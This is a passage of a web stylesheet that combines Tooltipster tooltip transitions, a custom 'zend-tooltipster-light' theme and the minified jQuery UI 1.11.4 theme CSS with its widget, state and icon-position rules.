	-ms-transition-property: left;
	transition-property: left;
	-webkit-transition-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1);
	-webkit-transition-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1.15); 
	-moz-transition-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1.15); 
	-ms-transition-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1.15); 
	-o-transition-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1.15); 
	transition-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1.15);
}
.tooltipster-slide.tooltipster-slide-show {
}
.tooltipster-slide.tooltipster-dying {
	-webkit-transition-property: all;
	-moz-transition-property: all;
	-o-transition-property: all;
	-ms-transition-property: all;
	transition-property: all;
	left: 0px !important;
	opacity: 0;
}


/* CSS transition for when contenting is changing in a tooltip that is still open. The only properties that will NOT transition are: width, height, top, and left */
.tooltipster-content-changing {
	opacity: 0.5;
	-webkit-transform: scale(1.1, 1.1);
	-moz-transform: scale(1.1, 1.1);
	-o-transform: scale(1.1, 1.1);
	-ms-transform: scale(1.1, 1.1);
	transform: scale(1.1, 1.1);
}

.zend-tooltipster-light {
    border-radius: 5px;
    border: 1px solid #cccccc;
    background: #2774A0;
    color: #FFF;
}

.zend-tooltipster-light .tooltipster-content {
    font-family: Arial, sans-serif;
    font-size: 14px;
    line-height: 16px;
    padding: 5px 10px;
}

.zend-tooltipster-light .tooltipster-content a {
	color: #FFF;
	text-decoration: underline;
	font-style: italic;
}

.zend-tooltipster-light-disabled {
    border-radius: 3px;
    border: 1px solid #C2C2C2;
    background: #E4E4E4;
    color: #5F5F5F;
    margin-top: 20px;
}

.zend-tooltipster-light-disabled .tooltipster-arrow-top span{
    display:none;
}
/*! jQuery UI - v1.11.4 - 2016-05-17
* http://jqueryui.com
* Includes: core.css, draggable.css, resizable.css, selectable.css, sortable.css, accordion.css, autocomplete.css, button.css, datepicker.css, dialog.css, menu.css, progressbar.css, selectmenu.css, slider.css, spinner.css, tabs.css, tooltip.css, theme.css
* To view and modify this theme, visit http://jqueryui.com/themeroller/?ffDefault=Arial%2CHelvetica%2Csans-serif&fsDefault=1em&fwDefault=normal&cornerRadius=3px&bgColorHeader=e9e9e9&bgTextureHeader=flat&borderColorHeader=dddddd&fcHeader=333333&iconColorHeader=444444&bgColorContent=ffffff&bgTextureContent=flat&borderColorContent=dddddd&fcContent=333333&iconColorContent=444444&bgColorDefault=f6f6f6&bgTextureDefault=flat&borderColorDefault=c5c5c5&fcDefault=454545&iconColorDefault=777777&bgColorHover=ededed&bgTextureHover=flat&borderColorHover=cccccc&fcHover=2b2b2b&iconColorHover=555555&bgColorActive=007fff&bgTextureActive=flat&borderColorActive=003eff&fcActive=ffffff&iconColorActive=ffffff&bgColorHighlight=fffa90&bgTextureHighlight=flat&borderColorHighlight=dad55e&fcHighlight=777620&iconColorHighlight=777620&bgColorError=fddfdf&bgTextureError=flat&borderColorError=f1a899&fcError=5f3f3f&iconColorError=cc0000&bgColorOverlay=aaaaaa&bgTextureOverlay=flat&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=666666&bgTextureShadow=flat&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=5px&offsetTopShadow=0px&offsetLeftShadow=0px&cornerRadiusShadow=8px
* Copyright jQuery Foundation and other contributors; Licensed MIT */

.ui-helper-hidden{display:none}.ui-helper-hidden-accessible{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.ui-helper-reset{margin:0;padding:0;border:0;outline:0;line-height:1.3;text-decoration:none;font-size:100%;list-style:none}.ui-helper-clearfix:before,.ui-helper-clearfix:after{content:"";display:table;border-collapse:collapse}.ui-helper-clearfix:after{clear:both}.ui-helper-clearfix{min-height:0}.ui-helper-zfix{width:100%;height:100%;top:0;left:0;position:absolute;opacity:0;filter:Alpha(Opacity=0)}.ui-front{z-index:100}.ui-state-disabled{cursor:default!important}.ui-icon{display:block;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat}.ui-widget-overlay{position:fixed;top:0;left:0;width:100%;height:100%}.ui-draggable-handle{-ms-touch-action:none;touch-action:none}.ui-resizable{position:relative}.ui-resizable-handle{position:absolute;font-size:0.1px;display:block;-ms-touch-action:none;touch-action:none}.ui-resizable-disabled .ui-resizable-handle,.ui-resizable-autohide .ui-resizable-handle{display:none}.ui-resizable-n{cursor:n-resize;height:7px;width:100%;top:-5px;left:0}.ui-resizable-s{cursor:s-resize;height:7px;width:100%;bottom:-5px;left:0}.ui-resizable-e{cursor:e-resize;width:7px;right:-5px;top:0;height:100%}.ui-resizable-w{cursor:w-resize;width:7px;left:-5px;top:0;height:100%}.ui-resizable-se{cursor:se-resize;width:12px;height:12px;right:1px;bottom:1px}.ui-resizable-sw{cursor:sw-resize;width:9px;height:9px;left:-5px;bottom:-5px}.ui-resizable-nw{cursor:nw-resize;width:9px;height:9px;left:-5px;top:-5px}.ui-resizable-ne{cursor:ne-resize;width:9px;height:9px;right:-5px;top:-5px}.ui-selectable{-ms-touch-action:none;touch-action:none}.ui-selectable-helper{position:absolute;z-index:100;border:1px dotted black}.ui-sortable-handle{-ms-touch-action:none;touch-action:none}.ui-accordion .ui-accordion-header{display:block;cursor:pointer;position:relative;margin:2px 0 0 0;padding:.5em .5em .5em .7em;min-height:0;font-size:100%}.ui-accordion .ui-accordion-icons{padding-left:2.2em}.ui-accordion .ui-accordion-icons .ui-accordion-icons{padding-left:2.2em}.ui-accordion .ui-accordion-header .ui-accordion-header-icon{position:absolute;left:.5em;top:50%;margin-top:-8px}.ui-accordion .ui-accordion-content{padding:1em 2.2em;border-top:0;overflow:auto}.ui-autocomplete{position:absolute;top:0;left:0;cursor:default}.ui-button{display:inline-block;position:relative;padding:0;line-height:normal;margin-right:.1em;cursor:pointer;vertical-align:middle;text-align:center;overflow:visible}.ui-button,.ui-button:link,.ui-button:visited,.ui-button:hover,.ui-button:active{text-decoration:none}.ui-button-icon-only{width:2.2em}button.ui-button-icon-only{width:2.4em}.ui-button-icons-only{width:3.4em}button.ui-button-icons-only{width:3.7em}.ui-button .ui-button-text{display:block;line-height:normal}.ui-button-text-only .ui-button-text{padding:.4em 1em}.ui-button-icon-only .ui-button-text,.ui-button-icons-only .ui-button-text{padding:.4em;text-indent:-9999999px}.ui-button-text-icon-primary .ui-button-text,.ui-button-text-icons .ui-button-text{padding:.4em 1em .4em 2.1em}.ui-button-text-icon-secondary .ui-button-text,.ui-button-text-icons .ui-button-text{padding:.4em 2.1em .4em 1em}.ui-button-text-icons .ui-button-text{padding-left:2.1em;padding-right:2.1em}input.ui-button{padding:.4em 1em}.ui-button-icon-only .ui-icon,.ui-button-text-icon-primary .ui-icon,.ui-button-text-icon-secondary .ui-icon,.ui-button-text-icons .ui-icon,.ui-button-icons-only .ui-icon{position:absolute;top:50%;margin-top:-8px}.ui-button-icon-only .ui-icon{left:50%;margin-left:-8px}.ui-button-text-icon-primary .ui-button-icon-primary,.ui-button-text-icons .ui-button-icon-primary,.ui-button-icons-only .ui-button-icon-primary{left:.5em}.ui-button-text-icon-secondary .ui-button-icon-secondary,.ui-button-text-icons .ui-button-icon-secondary,.ui-button-icons-only .ui-button-icon-secondary{right:.5em}.ui-buttonset{margin-right:7px}.ui-buttonset .ui-button{margin-left:0;margin-right:-.3em}input.ui-button::-moz-focus-inner,button.ui-button::-moz-focus-inner{border:0;padding:0}.ui-datepicker{width:17em;padding:.2em .2em 0;display:none}.ui-datepicker .ui-datepicker-header{position:relative;padding:.2em 0}.ui-datepicker .ui-datepicker-prev,.ui-datepicker .ui-datepicker-next{position:absolute;top:2px;width:1.8em;height:1.8em}.ui-datepicker .ui-datepicker-prev-hover,.ui-datepicker .ui-datepicker-next-hover{top:1px}.ui-datepicker .ui-datepicker-prev{left:2px}.ui-datepicker .ui-datepicker-next{right:2px}.ui-datepicker .ui-datepicker-prev-hover{left:1px}.ui-datepicker .ui-datepicker-next-hover{right:1px}.ui-datepicker .ui-datepicker-prev span,.ui-datepicker .ui-datepicker-next span{display:block;position:absolute;left:50%;margin-left:-8px;top:50%;margin-top:-8px}.ui-datepicker .ui-datepicker-title{margin:0 2.3em;line-height:1.8em;text-align:center}.ui-datepicker .ui-datepicker-title select{font-size:1em;margin:1px 0}.ui-datepicker select.ui-datepicker-month,.ui-datepicker select.ui-datepicker-year{width:45%}.ui-datepicker table{width:100%;font-size:.9em;border-collapse:collapse;margin:0 0 .4em}.ui-datepicker th{padding:.7em .3em;text-align:center;font-weight:bold;border:0}.ui-datepicker td{border:0;padding:1px}.ui-datepicker td span,.ui-datepicker td a{display:block;padding:.2em;text-align:right;text-decoration:none}.ui-datepicker .ui-datepicker-buttonpane{background-image:none;margin:.7em 0 0 0;padding:0 .2em;border-left:0;border-right:0;border-bottom:0}.ui-datepicker .ui-datepicker-buttonpane button{float:right;margin:.5em .2em .4em;cursor:pointer;padding:.2em .6em .3em .6em;width:auto;overflow:visible}.ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current{float:left}.ui-datepicker.ui-datepicker-multi{width:auto}.ui-datepicker-multi .ui-datepicker-group{float:left}.ui-datepicker-multi .ui-datepicker-group table{width:95%;margin:0 auto .4em}.ui-datepicker-multi-2 .ui-datepicker-group{width:50%}.ui-datepicker-multi-3 .ui-datepicker-group{width:33.3%}.ui-datepicker-multi-4 .ui-datepicker-group{width:25%}.ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header{border-left-width:0}.ui-datepicker-multi .ui-datepicker-buttonpane{clear:left}.ui-datepicker-row-break{clear:both;width:100%;font-size:0}.ui-datepicker-rtl{direction:rtl}.ui-datepicker-rtl .ui-datepicker-prev{right:2px;left:auto}.ui-datepicker-rtl .ui-datepicker-next{left:2px;right:auto}.ui-datepicker-rtl .ui-datepicker-prev:hover{right:1px;left:auto}.ui-datepicker-rtl .ui-datepicker-next:hover{left:1px;right:auto}.ui-datepicker-rtl .ui-datepicker-buttonpane{clear:right}.ui-datepicker-rtl .ui-datepicker-buttonpane button{float:left}.ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,.ui-datepicker-rtl .ui-datepicker-group{float:right}.ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header{border-right-width:0;border-left-width:1px}.ui-dialog{overflow:hidden;position:absolute;top:0;left:0;padding:.2em;outline:0}.ui-dialog .ui-dialog-titlebar{padding:.4em 1em;position:relative}.ui-dialog .ui-dialog-title{float:left;margin:.1em 0;white-space:nowrap;width:90%;overflow:hidden;text-overflow:ellipsis}.ui-dialog .ui-dialog-titlebar-close{position:absolute;right:.3em;top:50%;width:20px;margin:-10px 0 0 0;padding:1px;height:20px}.ui-dialog .ui-dialog-content{position:relative;border:0;padding:.5em 1em;background:none;overflow:auto}.ui-dialog .ui-dialog-buttonpane{text-align:left;border-width:1px 0 0 0;background-image:none;margin-top:.5em;padding:.3em 1em .5em .4em}.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset{float:right}.ui-dialog .ui-dialog-buttonpane button{margin:.5em .4em .5em 0;cursor:pointer}.ui-dialog .ui-resizable-se{width:12px;height:12px;right:-5px;bottom:-5px;background-position:16px 16px}.ui-draggable .ui-dialog-titlebar{cursor:move}.ui-menu{list-style:none;padding:0;margin:0;display:block;outline:none}.ui-menu .ui-menu{position:absolute}.ui-menu .ui-menu-item{position:relative;margin:0;padding:3px 1em 3px .4em;cursor:pointer;min-height:0;list-style-image:url("data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7")}.ui-menu .ui-menu-divider{margin:5px 0;height:0;font-size:0;line-height:0;border-width:1px 0 0 0}.ui-menu .ui-state-focus,.ui-menu .ui-state-active{margin:-1px}.ui-menu-icons{position:relative}.ui-menu-icons .ui-menu-item{padding-left:2em}.ui-menu .ui-icon{position:absolute;top:0;bottom:0;left:.2em;margin:auto 0}.ui-menu .ui-menu-icon{left:auto;right:0}.ui-progressbar{height:2em;text-align:left;overflow:hidden}.ui-progressbar .ui-progressbar-value{margin:-1px;height:100%}.ui-progressbar .ui-progressbar-overlay{background:url("data:image/gif;base64,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");height:100%;filter:alpha(opacity=25);opacity:0.25}.ui-progressbar-indeterminate .ui-progressbar-value{background-image:none}.ui-selectmenu-menu{padding:0;margin:0;position:absolute;top:0;left:0;display:none}.ui-selectmenu-menu .ui-menu{overflow:auto;overflow-x:hidden;padding-bottom:1px}.ui-selectmenu-menu .ui-menu .ui-selectmenu-optgroup{font-size:1em;font-weight:bold;line-height:1.5;padding:2px 0.4em;margin:0.5em 0 0 0;height:auto;border:0}.ui-selectmenu-open{display:block}.ui-selectmenu-button{display:inline-block;overflow:hidden;position:relative;text-decoration:none;cursor:pointer}.ui-selectmenu-button span.ui-icon{right:0.5em;left:auto;margin-top:-8px;position:absolute;top:50%}.ui-selectmenu-button span.ui-selectmenu-text{text-align:left;padding:0.4em 2.1em 0.4em 1em;display:block;line-height:1.4;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.ui-slider{position:relative;text-align:left}.ui-slider .ui-slider-handle{position:absolute;z-index:2;width:1.2em;height:1.2em;cursor:default;-ms-touch-action:none;touch-action:none}.ui-slider .ui-slider-range{position:absolute;z-index:1;font-size:.7em;display:block;border:0;background-position:0 0}.ui-slider.ui-state-disabled .ui-slider-handle,.ui-slider.ui-state-disabled .ui-slider-range{filter:inherit}.ui-slider-horizontal{height:.8em}.ui-slider-horizontal .ui-slider-handle{top:-.3em;margin-left:-.6em}.ui-slider-horizontal .ui-slider-range{top:0;height:100%}.ui-slider-horizontal .ui-slider-range-min{left:0}.ui-slider-horizontal .ui-slider-range-max{right:0}.ui-slider-vertical{width:.8em;height:100px}.ui-slider-vertical .ui-slider-handle{left:-.3em;margin-left:0;margin-bottom:-.6em}.ui-slider-vertical .ui-slider-range{left:0;width:100%}.ui-slider-vertical .ui-slider-range-min{bottom:0}.ui-slider-vertical .ui-slider-range-max{top:0}.ui-spinner{position:relative;display:inline-block;overflow:hidden;padding:0;vertical-align:middle}.ui-spinner-input{border:none;background:none;color:inherit;padding:0;margin:.2em 0;vertical-align:middle;margin-left:.4em;margin-right:22px}.ui-spinner-button{width:16px;height:50%;font-size:.5em;padding:0;margin:0;text-align:center;position:absolute;cursor:default;display:block;overflow:hidden;right:0}.ui-spinner a.ui-spinner-button{border-top:none;border-bottom:none;border-right:none}.ui-spinner .ui-icon{position:absolute;margin-top:-8px;top:50%;left:0}.ui-spinner-up{top:0}.ui-spinner-down{bottom:0}.ui-spinner .ui-icon-triangle-1-s{background-position:-65px -16px}.ui-tabs{position:relative;padding:.2em}.ui-tabs .ui-tabs-nav{margin:0;padding:.2em .2em 0}.ui-tabs .ui-tabs-nav li{list-style:none;float:left;position:relative;top:0;margin:1px .2em 0 0;border-bottom-width:0;padding:0;white-space:nowrap}.ui-tabs .ui-tabs-nav .ui-tabs-anchor{float:left;padding:.5em 1em;text-decoration:none}.ui-tabs .ui-tabs-nav li.ui-tabs-active{margin-bottom:-1px;padding-bottom:1px}.ui-tabs .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor,.ui-tabs .ui-tabs-nav li.ui-state-disabled .ui-tabs-anchor,.ui-tabs .ui-tabs-nav li.ui-tabs-loading .ui-tabs-anchor{cursor:text}.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor{cursor:pointer}.ui-tabs .ui-tabs-panel{display:block;border-width:0;padding:1em 1.4em;background:none}.ui-tooltip{padding:8px;position:absolute;z-index:9999;max-width:300px;-webkit-box-shadow:0 0 5px #aaa;box-shadow:0 0 5px #aaa}body .ui-tooltip{border-width:2px}.ui-widget{font-family:Arial,Helvetica,sans-serif;font-size:1em}.ui-widget .ui-widget{font-size:1em}.ui-widget input,.ui-widget select,.ui-widget textarea,.ui-widget button{font-family:Arial,Helvetica,sans-serif;font-size:1em}.ui-widget-content{border:1px solid #ddd;background:#fff;color:#333}.ui-widget-content a{color:#333}.ui-widget-header{border:1px solid #ddd;background:#e9e9e9;color:#333;font-weight:bold}.ui-widget-header a{color:#333}.ui-state-default,.ui-widget-content .ui-state-default,.ui-widget-header .ui-state-default{border:1px solid #c5c5c5;background:#f6f6f6;font-weight:normal;color:#454545}.ui-state-default a,.ui-state-default a:link,.ui-state-default a:visited{color:#454545;text-decoration:none}.ui-state-hover,.ui-widget-content .ui-state-hover,.ui-widget-header .ui-state-hover,.ui-state-focus,.ui-widget-content .ui-state-focus,.ui-widget-header .ui-state-focus{border:1px solid #ccc;background:#ededed;font-weight:normal;color:#2b2b2b}.ui-state-hover a,.ui-state-hover a:hover,.ui-state-hover a:link,.ui-state-hover a:visited,.ui-state-focus a,.ui-state-focus a:hover,.ui-state-focus a:link,.ui-state-focus a:visited{color:#2b2b2b;text-decoration:none}.ui-state-active,.ui-widget-content .ui-state-active,.ui-widget-header .ui-state-active{border:1px solid #003eff;background:#007fff;font-weight:normal;color:#fff}.ui-state-active a,.ui-state-active a:link,.ui-state-active a:visited{color:#fff;text-decoration:none}.ui-state-highlight,.ui-widget-content .ui-state-highlight,.ui-widget-header .ui-state-highlight{border:1px solid #dad55e;background:#fffa90;color:#777620}.ui-state-highlight a,.ui-widget-content .ui-state-highlight a,.ui-widget-header .ui-state-highlight a{color:#777620}.ui-state-error,.ui-widget-content .ui-state-error,.ui-widget-header .ui-state-error{border:1px solid #f1a899;background:#fddfdf;color:#5f3f3f}.ui-state-error a,.ui-widget-content .ui-state-error a,.ui-widget-header .ui-state-error a{color:#5f3f3f}.ui-state-error-text,.ui-widget-content .ui-state-error-text,.ui-widget-header .ui-state-error-text{color:#5f3f3f}.ui-priority-primary,.ui-widget-content .ui-priority-primary,.ui-widget-header .ui-priority-primary{font-weight:bold}.ui-priority-secondary,.ui-widget-content .ui-priority-secondary,.ui-widget-header .ui-priority-secondary{opacity:.7;filter:Alpha(Opacity=70);font-weight:normal}.ui-state-disabled,.ui-widget-content .ui-state-disabled,.ui-widget-header .ui-state-disabled{opacity:.35;filter:Alpha(Opacity=35);background-image:none}.ui-state-disabled .ui-icon{filter:Alpha(Opacity=35)}.ui-icon{width:16px;height:16px}.ui-icon,.ui-widget-content .ui-icon{background-image:url("images/ui-icons_444444_256x240.png")}.ui-widget-header .ui-icon{background-image:url("images/ui-icons_444444_256x240.png")}.ui-state-default .ui-icon{background-image:url("images/ui-icons_777777_256x240.png")}.ui-state-hover .ui-icon,.ui-state-focus .ui-icon{background-image:url("images/ui-icons_555555_256x240.png")}.ui-state-active .ui-icon{background-image:url("images/ui-icons_ffffff_256x240.png")}.ui-state-highlight .ui-icon{background-image:url("images/ui-icons_777620_256x240.png")}.ui-state-error .ui-icon,.ui-state-error-text .ui-icon{background-image:url("images/ui-icons_cc0000_256x240.png")}.ui-icon-blank{background-position:16px 16px}.ui-icon-carat-1-n{background-position:0 0}.ui-icon-carat-1-ne{background-position:-16px 0}.ui-icon-carat-1-e{background-position:-32px 0}.ui-icon-carat-1-se{background-position:-48px 0}.ui-icon-carat-1-s{background-position:-64px 0}.ui-icon-carat-1-sw{background-position:-80px 0}.ui-icon-carat-1-w{background-position:-96px 0}.ui-icon-carat-1-nw{background-position:-112px 0}.ui-icon-carat-2-n-s{background-position:-128px 0}.ui-icon-carat-2-e-w{background-position:-144px 0}.ui-icon-triangle-1-n{background-position:0 -16px}.ui-icon-triangle-1-ne{background-position:-16px -16px}.ui-icon-triangle-1-e{background-position:-32px -16px}.ui-icon-triangle-1-se{background-position:-48px -16px}.ui-icon-triangle-1-s{background-position:-64px -16px}.ui-icon-triangle-1-sw{background-position:-80px -16px}.ui-icon-triangle-1-w{background-position:-96px -16px}.ui-icon-triangle-1-nw{background-position:-112px -16px}.ui-icon-triangle-2-n-s{background-position:-128px -16px}.ui-icon-triangle-2-e-w{background-position:-144px -16px}.ui-icon-arrow-1-n{background-position:0 -32px}.ui-icon-arrow-1-ne{background-position:-16px -32px}.ui-icon-arrow-1-e{background-position:-32px -32px}.ui-icon-arrow-1-se{background-position:-48px -32px}.ui-icon-arrow-1-s{background-position:-64px -32px}.ui-icon-arrow-1-sw{background-position:-80px -32px}.ui-icon-arrow-1-w{background-position:-96px -32px}.ui-icon-arrow-1-nw{background-position:-112px -32px}.ui-icon-arrow-2-n-s{background-position:-128px -32px}.ui-icon-arrow-2-ne-sw{background-position:-144px -32px}.ui-icon-arrow-2-e-w{background-position:-160px -32px}.ui-icon-arrow-2-se-nw{background-position:-176px -32px}.ui-icon-arrowstop-1-n{background-position:-192px -32px}.ui-icon-arrowstop-1-e{background-position:-208px -32px}.ui-icon-arrowstop-1-s{background-position:-224px -32px}.ui-icon-arrowstop-1-w{background-position:-240px -32px}.ui-icon-arrowthick-1-n{background-position:0 -48px}.ui-icon-arrowthick-1-ne{background-position:-16px -48px}.ui-icon-arrowthick-1-e{background-position:-32px -48px}.ui-icon-arrowthick-1-se{background-position:-48px -48px}.ui-icon-arrowthick-1-s{background-position:-64px -48px}.ui-icon-arrowthick-1-sw{background-position:-80px -48px}.ui-icon-arrowthick-1-w{background-position:-96px -48px}.ui-icon-arrowthick-1-nw{background-position:-112px -48px}.ui-icon-arrowthick-2-n-s{background-position:-128px -48px}.ui-icon-arrowthick-2-ne-sw{background-position:-144px -48px}.ui-icon-arrowthick-2-e-w{background-position:-160px -48px}.ui-icon-arrowthick-2-se-nw{background-position:-176px -48px}.ui-icon-arrowthickstop-1-n{background-position:-192px -48px}.ui-icon-arrowthickstop-1-e{background-position:-208px -48px}.ui-icon-arrowthickstop-1-s{background-position:-224px -48px}.ui-icon-arrowthickstop-1-w{background-position:-240px -48px}.ui-icon-arrowreturnthick-1-w{background-position:0 -64px}.ui-icon-arrowreturnthick-1-n{background-position:-16px -64px}.ui-icon-arrowreturnthick-1-e{background-position:-32px -64px}.ui-icon-arrowreturnthick-1-s{background-position:-48px -64px}.ui-icon-arrowreturn-1-w{background-position:-64px -64px}.ui-icon-arrowreturn-1-n{background-position:-80px -64px}.ui-icon-arrowreturn-1-e{background-position:-96px -64px}.ui-icon-arrowreturn-1-s{background-position:-112px -64px}.ui-icon-arrowrefresh-1-w{background-position:-128px -64px}.ui-icon-arrowrefresh-1-n{background-position:-144px -64px}.ui-icon-arrowrefresh-1-e{background-position:-160px -64px}.ui-icon-arrowrefresh-1-s{background-position:-176px -64px}.ui-icon-arrow-4{background-position:0 -80px}.ui-icon-arrow-4-diag{background-position:-16px -80px}.ui-icon-extlink{background-position:-32px -80px}.ui-icon-newwin{background-position:-48px -80px}.ui-icon-refresh{background-position:-64px -80px}.ui-icon-shuffle{background-position:-80px -80px}.ui-icon-transfer-e-w{background-position:-96px -80px}.ui-icon-transferthick-e-w{background-position:-112px -80px}.ui-icon-folder-collapsed{background-position:0 -96px}.ui-icon-folder-open{background-position:-16px -96px}.ui-icon-document{background-position:-32px -96px}.ui-icon-document-b{background-position:-48px -96px}.ui-icon-note{background-position:-64px -96px}.ui-icon-mail-closed{background-position:-80px -96px}.ui-icon-mail-open{background-position:-96px -96px}.ui-icon-suitcase{background-position:-112px -96px}.ui-icon-comment{background-position:-128px -96px}.ui-icon-person{background-position:-144px -96px}.ui-icon-print{background-position:-160px -96px}.ui-icon-trash{background-position:-176px -96px}.ui-icon-locked{background-position:-192px -96px}.ui-icon-unlocked{background-position:-208px -96px}.ui-icon-bookmark{background-position:-224px -96px}.ui-icon-tag{background-position:-240px -96px}.ui-icon-home{background-position:0 -112px}.ui-icon-flag{background-position:-16px -112px}.ui-icon-calendar{background-position:-32px -112px}.ui-icon-cart{background-position:-48px -112px}.ui-icon-pencil{background-position:-64px -112px}.ui-icon-clock{background-position:-80px -112px}.ui-icon-disk{background-position:-96px -112px}.ui-icon-calculator{background-position:-112px -112px}.ui-icon-zoomin{background-position:-128px -112px}.ui-icon-zoomout{background-position:-144px -112px}.ui-icon-search{background-position:-160px -112px}.ui-icon-wrench{background-position:-176px -112px}.ui-icon-gear{background-position:-192px -112px}.ui-icon-heart{background-position:-208px -112px}.ui-icon-star{background-position:-224px -112px}.ui-icon-link{background-position:-240px -112px}.ui-icon-cancel{background-position:0 -128px}.ui-icon-plus{background-position:-16px -128px}.ui-icon-plusthick{background-position:-32px -128px}.ui-icon-minus{background-position:-48px -128px}.ui-icon-minusthick{background-position:-64px -128px}.ui-icon-close{background-position:-80px -128px}.ui-icon-closethick{background-position:-96px -128px}.ui-icon-key{background-position:-112px -128px}.ui-icon-lightbulb{background-position:-128px -128px}.ui-icon-scissors{background-position:-144px -128px}.ui-icon-clipboard{background-position:-160px -128px}.ui-icon-copy{background-position:-176px -128px}.ui-icon-contact{background-position:-192px -128px}.ui-icon-image{background-position:-208px -128px}.ui-icon-video{background-position:-224px -128px}.ui-icon-script{background-position:-240px -128px}.ui-icon-alert{background-position:0 -144px}.ui-icon-info{background-position:-16px -144px}.ui-icon-notice{background-position:-32px -144px}.ui-icon-help{background-position:-48px -144px}.ui-icon-check{background-position:-64px -144px}.ui-icon-bullet{background-position:-80px -144px}.ui-icon-radio-on{background-position:-96px -144px}.ui-icon-radio-off{background-position:-112px -144px}.ui-icon-pin-w{background-position:-128px -144px}.ui-icon-pin-s{background-position:-144px -144px}.ui-icon-play{background-position:0 